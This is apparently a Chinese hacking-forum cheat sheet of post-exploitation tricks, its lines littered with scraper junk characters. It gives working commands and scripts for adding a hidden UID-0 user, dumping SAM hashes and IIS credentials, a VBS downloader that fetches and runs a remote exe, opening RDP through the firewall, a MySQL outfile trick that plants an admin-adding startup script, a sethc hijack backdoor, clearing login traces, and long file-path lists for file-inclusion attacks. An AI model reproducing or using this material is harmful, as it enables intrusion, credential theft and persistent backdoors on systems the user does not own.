' ?* ?! j- g5 o& b7 ?  B确定版本
+ P% O* l) w% v8 p  i4 Sindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
% f/ Q* n3 F$ g, W2 c1 m5 }, D
15&catid=32:languages&Itemid=47
- K" R& w' Q5 a8 t) I
重新设置密码
- t5 e8 Y5 c' T5 `, t% W: cindex.php?option=com_user&view=reset&layout=confirm
5 |' ?, X/ X% Y; \, q! _
- l% {# |0 }4 a7 d: ^七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

3 R; k- s* B6 d6 f八.freebsd本地提权
) s% z& N, D& z9 W  |7 V[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
3 ?* i- s7 f, D. j* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
3 F  E1 W$ E8 I( S" n* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
. R9 p8 n: D2 G5 B% A5 x: h
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
9 N& z& P+ }4 s3 n. e! \* O感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
/ I- V7 b  G2 k3 \# c————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
3 u2 [8 q. G7 n5 [8 f" Q- Nalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
8 d% L1 i( l% R- o! C关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
3 M/ j$ l8 V$ s/ F" u}  
, t! _& |+ K# X- v5 q0 `6 }) h
4 C, i$ ]4 U4 `( g; U( _# s提权先执行systeminfo
token 漏洞补丁号 KB956572
3 S1 @1 h8 P3 J  {Churrasco          kb952004
命令行RAR打包~~·
" t: D. r3 K0 Y+ y' crar a -k -r -s -m3 c:\1.rar c:\folder
: {7 k8 u' Q# p3 o——————————————
% X  u- I1 R8 ?6 B! f4 I2 t2、收集系统信息的脚本  
for window：

@echo off
echo #########system info collection
* D# M/ g# E( T/ o4 B: W; J4 Nsysteminfo
ver
hostname
net user
/ {4 }: Q+ l% w6 F, h* Z$ snet localgroup
net localgroup administrators
' f; K* a  H4 F& Y8 W) Nnet user guest
$ P6 n9 L* d- |" B/ Jnet user administrator
# V) b+ |& R4 W8 W
echo #######at- with   atq#####
. x* o8 z5 W9 e- a' r) gecho schtask /query
$ I! O8 q! `% w
echo
8 A$ F  I+ y2 \) o9 mecho ####task-list#############
tasklist /svc
+ ^1 U9 {' D( D6 c" N6 Y' Cecho
echo ####net-work infomation
& d6 P" y1 U; h. O0 m) [ipconfig/all
0 h$ N# l5 C5 C% u" lroute print
0 i$ h0 @" X: c* i3 x0 I, d& Warp -a
1 U. U( T: _- O: E% p3 C6 a' rnetstat -anipconfig /displaydns
! J) S% |& ]4 u% a  Fecho
8 G' J: o% \: x/ V9 decho #######service############
* a5 d: E8 s9 R; x/ tsc query type= service state= all
echo #######file-##############
* G& T$ i2 B+ F7 Fcd \
tree -F
; |0 j  G$ \; l% R: I/ I. V  Dfor linux：
6 K: A  ~( A; W! b
+ m8 m! x) Z' s3 |1 j; d5 ^#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
, C- y" I! E4 {/ \echo #######basic infomation##
" G: y! |4 v, `6 m# t% ycat /proc/meminfo
echo
cat /proc/cpuinfo
( V$ v, y+ d, ?9 Jecho
' k7 x) Z& I# P/ {/ n4 `9 brpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

3 t& ?; O: q. _! p. d
echo 'u'r id is' `id`
echo ###atq&crontab#####
! d1 J% E2 ^' f  }! ]8 jatq
+ d7 t& H% `! Y. i$ lcrontab -l
echo #####about var#####
set
$ u. V/ f, W6 n2 m" R
echo #####about network###
& M( B) }& Z! N% n5 A6 ]####this is then point in pentest,but i am a new bird,so u need to add some in it
' C& C7 x- f. U. a- Xcat /etc/hosts
* g1 s- e7 @1 d$ K* thostname
) s2 V5 O2 j& P: f/ u7 w3 hipconfig -a
- \5 W& g/ M1 a" i# }% Tarp -v
echo ########user####
cat /etc/passwd|grep -i sh

2 i- X0 n2 R: l6 d& m( y$ Eecho ######service####
chkconfig --list

8 i2 A! p" N! ^8 ^. P! ifor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
2 z. d0 m& ~9 F0 N6 T: |) Ysleep 5
locate password >>/tmp/password 2>/dev/null
" N: u0 r- Y& q9 |/ }sleep 5
: S7 v7 g/ O2 ~8 h5 flocate conf >/tmp/sysconfig 2>dev/null
5 d8 t# _. z  A/ r- `6 u. ^sleep 5
. H9 J, v6 U4 P, olocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
echo ##packing up#########
% j/ D3 M/ o, m+ a' l# v3 V8 qtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
) J% y0 B0 q9 t1 T& urm -rf /tmp/getmail /tmp/password /tmp/sysconfig
# D' {3 b1 F2 _——————————————
3、ethash 不免杀怎么获取本机hash。
# ]! x$ c/ n# C. w' ]" Y1 h: y: o" ?! W首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
- t& N! D: Z( ^' V" @注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
" x0 {. ^6 u  w5 U; |接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
- u. h2 u5 w( h  R( T' `" u" i据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
) Q; c8 j+ ^/ A/ \% Necho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
" v# l& U9 `! x' E- y( |cftmon.vbs
+ ~% ]( S/ @  G8 V% Y4 s
+ Y  w: L/ U) d% h- N9 D2
4 U) N- J7 y7 v9 xOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
/ t: m3 q' A: h- }s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
- K  V6 H0 Z+ [/ Z# F
5 M) @& c& t8 ~- E, J. j当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
. y5 i" r( D- D4 l8 M: I——————————————————
5、
' g5 M$ y2 n4 Q2 L2 m2 Z1.查询终端端口
+ k0 _& K2 }' S' l3 F% M" q& kREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
8 i8 |1 ~8 e+ y3 w1 x% t3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
& i( T4 L. s! _: tREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
) L2 _0 c" l2 S4 e# ]insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
, c5 @8 E! J. v; C+ Nselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
8 e  [% n* x4 `$ P7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
8 ~8 v: G1 H, c9 P. S! ~  S3 Z
; V3 I& j5 z! m% M列出d的所有目录
  
: q# a; y. m; l8 ]  for /d %i in (???) do @echo %i

. X! G: H/ i9 m0 u$ t- X5 k把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
% F4 ?' R% ?$ O- t以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

0 T1 X! V) Q5 K1 L) u3.for /f %i in (c:\1.txt) do echo %i
* w' h9 h+ ~  F7 ?) l; K/ ~  
0 G2 W4 q1 G* n% H2 m! x% s; H  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

. e  J( |# U5 U: a5 Q  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
9 m4 y  m- e! Q, z! y* n- R; i
% [4 L# d9 s  Y. G$ G& K2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
& W/ W4 H# Q9 b
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
1 L. G( v* o( R0 n+ m$ Q
( O3 t% L+ S5 I' W' N4 a9 [$ b' v4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
* }4 m! l6 O% kreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
( M& g9 l  M' m( g4 V0 [) P7 bnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
- n8 U9 ~0 a% |4 m8 X
- j% u# M4 Z4 T  K2 X- R8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

; a* T. |; l% R9.另类方法抓系统密码HASH
3 A# S8 q& q$ {3 Yreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
# v8 [& v: U! H, Q
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
' U( Q  w, ?; w0 y) g8 {9 d' \8 [
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
: z; L/ w, A- Z9 E0 JSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
% x5 {5 z8 M5 l# QchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
4 @# |" t3 _! vif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
. D- z* J& p7 Z' l) y+ B5 c% pif err.number<>0 then
4 k3 N: ]- j% ]2 `% t' ^0 j- K, nexit for
4 [- O9 L$ n0 B( F( x8 hmsgbox("error!")
wscript.quit
2 G: x) U( d+ E7 I2 S7 U$ Y. nend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
- \7 M, d: d7 J5 {% F+ \9 q: iuser=iisweb.AnonymousUserName
. f/ X( o/ B3 x& X0 Z" qpass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
9 Q, P& a4 j) [8 _7 Q. Hwscript.echo list
- A$ [3 j) X* W- G: F3 t+ BSet ObjService=Nothing
1 r( Z3 N* _6 B& e4 C% x% Awscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
3 w" t, J: h1 k; D+ J: u2 y复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
0 A  M* q% X% T1 j* I/ V: e3 y2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
9 n, \% ~2 ~% o! x8 K$ y</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
$ f7 b5 i6 ?- q' u& [+ B5 \: `PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
! U9 {" j) {+ S( P5 L6 ^( A; ?asp代码，利用的时候会出现登录问题
' N1 R3 B( W0 v" w 原因是ASP大马里有这样的代码：（没有就没事儿了）
9 d) _4 k$ Q' i3 A url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
/ L' ^" E: B  q6 ] 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
8 ~  R1 D+ c/ y8 ^  ~& r# |LINUX常见路径：

/etc/passwd
/etc/shadow
) s. o5 J: S9 X, ~" g& d/etc/fstab
# Z7 {  n5 T4 @, ?/etc/host.conf
/etc/motd
: c9 `6 x0 v$ X# Q/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
. }, R: _: J1 A& e" k1 }4 J/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
* u8 R4 |/ I* o/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
0 i7 n, [) G2 r/ B9 G& |1 \, n+ z/var/httpd/conf/php.ini
/var/www/index.html
& w, i5 a! d" k/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
( I* Y/ l4 D3 M7 h( z/usr/local/apache/htdocs/index.html
. h$ W3 I) z" C( d2 U( C; b/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
" v2 X7 E+ w' ?5 U. i/usr/local/apache2/htdocs/index.php
' F: f7 J1 a( ^3 F! }1 s7 ]7 `/usr/local/httpd2.2/htdocs/index.php
; I+ p/ L- {* x9 j/usr/local/httpd2.2/htdocs/index.html
* q" _. c  f0 E7 {: V# s/tmp/apache/htdocs/index.html
1 L! l) l! {( V8 J) V* s2 }/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/ p: E: F7 E  Q0 b/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
( C, W: z' |* }, C/www/php4/php.ini
6 o' h  ~( L* ~$ e/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
' Q( h. m& ]) g4 \& A3 c/www/htdocs/index.html
% I. P9 I7 }: p- \$ _' A/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
1 O* r: @8 K7 r3 ~/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
- S" m" e$ y5 ?0 x" k, @/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
- j% u3 i# R  [0 U# g/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
; S/ u% G+ V& b- l" p  r/etc/mysql/my.cnf
  y, |7 G  }8 R( G! [$ @6 k/etc/httpd/conf.d/php.conf
' f4 w4 H  ]+ E' U$ L/etc/httpd/conf.d/httpd.conf
: v: t6 k2 M$ l, S# i) I1 Q/etc/httpd/logs/error_log
8 n$ W( b+ ^8 w1 ^/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
. @% D. W9 M: k2 r- l/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
  K# d4 d3 P. \4 _# O, f/var/log/apache/error.log
4 S5 y  a& z- S! l& `/var/log/apache/access_log
/var/log/apache/access.log
; W4 I6 ]" r# [' g3 m/var/log/apache2/error_log
/var/log/apache2/error.log
5 f1 N' b: E' j6 g2 p! _/var/log/apache2/access_log
/var/log/apache2/access.log
8 v3 c7 x( s2 K/var/www/logs/error_log
/var/www/logs/error.log
* z/ U+ K6 V: P% I: z' x  E6 r/var/www/logs/access_log
6 v. T9 h0 t/ D# Q# G/var/www/logs/access.log
0 b/ A" j4 U& O( m1 y4 g: T/usr/local/apache/logs/error_log
8 T6 n( P" Y# g" y  {1 c/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
& I; A3 l5 P& y$ g% Y# l/var/log/error_log
# x7 T2 X2 G" I& m/var/log/error.log
5 O/ Z7 w& f, D. C/var/log/access_log
/var/log/access.log
6 \) Z6 z* L. ]- [! ]/usr/local/apache/logs/access_logaccess_log.old
4 c6 Z+ C, Z0 t! p/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
8 x9 T* S1 M- {5 K( M& i8 c/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
$ o+ W5 v: y2 A8 `$ E# i% G/usr/local/php4/php.ini
: m; T7 s, z7 g* M9 b/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
& j2 \/ Q+ i, h) v/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
6 A3 g' ]8 N* z' f/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
7 u: x3 S0 o! F+ Q6 h$ `/etc/php5/apache/php.ini
7 U/ g8 n9 T' H; a9 @6 o/etc/php5/apache2/php.ini
/etc/php/php.ini
' B( N3 x* |8 ~1 P" t/etc/php/php4/php.ini
0 y. u+ q5 M0 u4 V2 B# @/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
' v$ m+ _; A6 `; F: I- I/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
& H4 H, G0 f: y  a2 r. L/etc/php4/cgi/php.ini
. m9 y1 c! a( e7 p/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
5 N8 q) R# ^+ l! d% Y1 n" n/php/php.ini
# }# ~' G+ u  ]/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
$ i" L# i# b- p! r/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
+ z% r- r) A, p8 I  E. |6 J. T/var/log/mysql.log
, ~6 W0 O3 E9 d5 ~6 b/var/log/mysqlderror.log
6 I" C, `/ o- N+ _1 X) V$ `/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
) V  |+ ?# A! `- y" [+ ~/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
& T8 d. p2 m; n) ^/usr/local/mysql/bin/mysql
, U% `0 {: [- O: O% Q: P- P- c1 U6 G* I/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
" i9 {/ K. [: D5 C# ?# r1 W/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
5 C7 A, \0 y2 ^9 n/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
0 W" d( h8 B/ O5 |2 }3 C" b/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
  }2 p9 s+ r. F8 s0 V) E/ H
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

  Y7 R# i4 F4 Mc:\windows\php.ini
0 j. z5 b; j& x2 t; e( O! f( Tc:\boot.ini
6 a, G, ]5 {* I" }$ V& ~c:\1.txt
9 G8 Y( A2 y' P  M4 L+ Nc:\a.txt
3 K$ W3 a1 Z  I5 d/ P, j( t
9 M' e) D5 Y8 W" ~6 K" v6 Oc:\CMailServer\config.ini
; x, w+ W# W( D8 Fc:\CMailServer\CMailServer.exe
3 U) \" R$ \7 H6 @7 dc:\CMailServer\WebMail\index.asp
. q6 y6 w5 A( i+ k- m: n" oc:\program files\CMailServer\CMailServer.exe
8 B1 P5 z: ?( M" z: s& Sc:\program files\CMailServer\WebMail\index.asp
5 a: g6 s) p  @C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
7 T2 d5 N5 g; m8 FC:\WINDOWS\FreeHost32.dll
) M- {; j8 h: `- C2 o  ~. }2 wC:\WINDOWS\7i24iislog4.exe
8 D8 K4 d* q8 DC:\WINDOWS\7i24tool.exe
5 }; ~0 {' [4 G' p( U& M* w& x
) M9 R3 r, h2 P* f) i; Gc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
  ^4 D5 Y% N# f6 \! v! \
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
* @) S, g: N2 MC:\WINDOWS\web.config
c:\web\index.html
( u3 Z2 m4 J7 @! {& Z7 g# Lc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
9 p1 z2 o) `+ f0 D) T' f2 z  Z8 Gc:\web\index.asp
, Q/ u  b+ Q0 h: |! Oc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
, u, c+ T( y5 w: k  k$ {c:\web\index.php
2 L: y4 I6 d7 B7 P! d8 L( lc:\www\index.php
" K8 o( Y2 o$ h! i9 w+ r- Fc:\WWWROOT\index.php
# ]- B. _7 T% i0 h) r. ?c:\WWWsite\index.php
c:\web\default.html
" r- g5 |2 G7 {8 k4 O( u% B+ Dc:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
( j) Z! T6 K- R. E2 U$ Hc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
) x# V# L5 |% R6 ^8 Z+ jc:\WWWROOT\default.asp
- S# g. f0 X, D7 x9 @c:\web\default.php
* C( V, W: r% G* X  n7 nc:\www\default.php
c:\WWWROOT\default.php
$ S7 E& J9 }$ Sc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
- e- A! b% w' sc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
2 W' |. h& f8 f9 Y) @* T% ~" ^0 U- qC:\Program Files\Microsoft Office\OFFICE11\winword.exe
  D: N1 _$ j6 O; x4 e: P5 s  lC:\Program Files\Microsoft Office\OFFICE12\winword.exe
, H4 K- I7 r! KC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
. P5 q! v9 }& @8 {1 u7 U# _( {C:\Program Files\360\360Safe\360safe.exe
& [6 I" F& b4 f! p! Q& I4 sC:\Program Files\360Safe\360safe.exe
( j0 f# l. b; Q/ Y. |8 Q" t3 d9 FC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
1 T) v& s0 A) Y2 R5 k( Wc:\ravbin\store.ini
+ v1 `7 Q  B: h1 @( t$ G0 n6 a# v7 ?/ Tc:\rising.ini
/ }  r9 u0 Z- ~- w4 B& rC:\Program Files\Rising\Rav\RsTask.xml
9 e' \+ d2 n. [' Q6 {C:\Documents and Settings\All Users\Start Menu\desktop.ini
$ g) G6 @% i. I: v5 RC:\Documents and Settings\Administrator\My Documents\Default.rdp
, r6 L% f  ]/ m% }  OC:\Documents and Settings\Administrator\Cookies\index.dat
9 e( Y$ i5 ?5 m3 C* I$ sC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
+ v( ^' A" w( e5 K! HC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
1 N0 r# L0 w' b9 }C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
* I+ {9 t' Y4 mE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
8 q$ ~* L/ I5 q- m9 v8 kC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
- M* K9 z( f4 G1 O2 UC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
$ W) H& W% z/ r1 MC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
8 \' o. a' V! g; e& c1 ~C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
7 H3 u$ P0 p' h" q) ?7 UC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
/ `3 K2 c) c0 s5 l1 S2 \' W' j: ZC:\MySQL\MySQL Server 5.0\my.ini
# O! d! E' o, R* r4 C! \$ [C:\Program Files\MySQL\MySQL Server 5.0\my.ini
% Y( {+ I. E8 \, B: SC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
6 w$ }3 ]- ]9 c! ~C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
7 ^8 Q$ h, @* ?c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
  r# m( ^. q  o2 @' FC:\Program Files\Oracle\oraconfig\Lpk.dll
+ a4 |% g- j7 e' M2 a5 ]% z! m- P) WC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
  H  j  h( b5 S/ W- HC:\WINDOWS\system32\inetsrv\inetinfo.exe
& G. ?0 }, k  ~' Q. Q: j' bC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
2 `6 i$ r! d: g: y/ HC:\WINDOWS\system32\config\default.LOG
# B3 N% i. ]7 U8 d( L& o; F2 n5 v# m' \% gC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
# W/ g5 ^- P: W8 b4 T8 ]c:\CMailServer\config.ini
8 z0 O) o$ }9 _! [' C9 V; }c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
% D! p. c, c$ I3 Ec:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
; W6 E; L/ O2 {+ wc:\program files\tomcat6\bin\version.sh
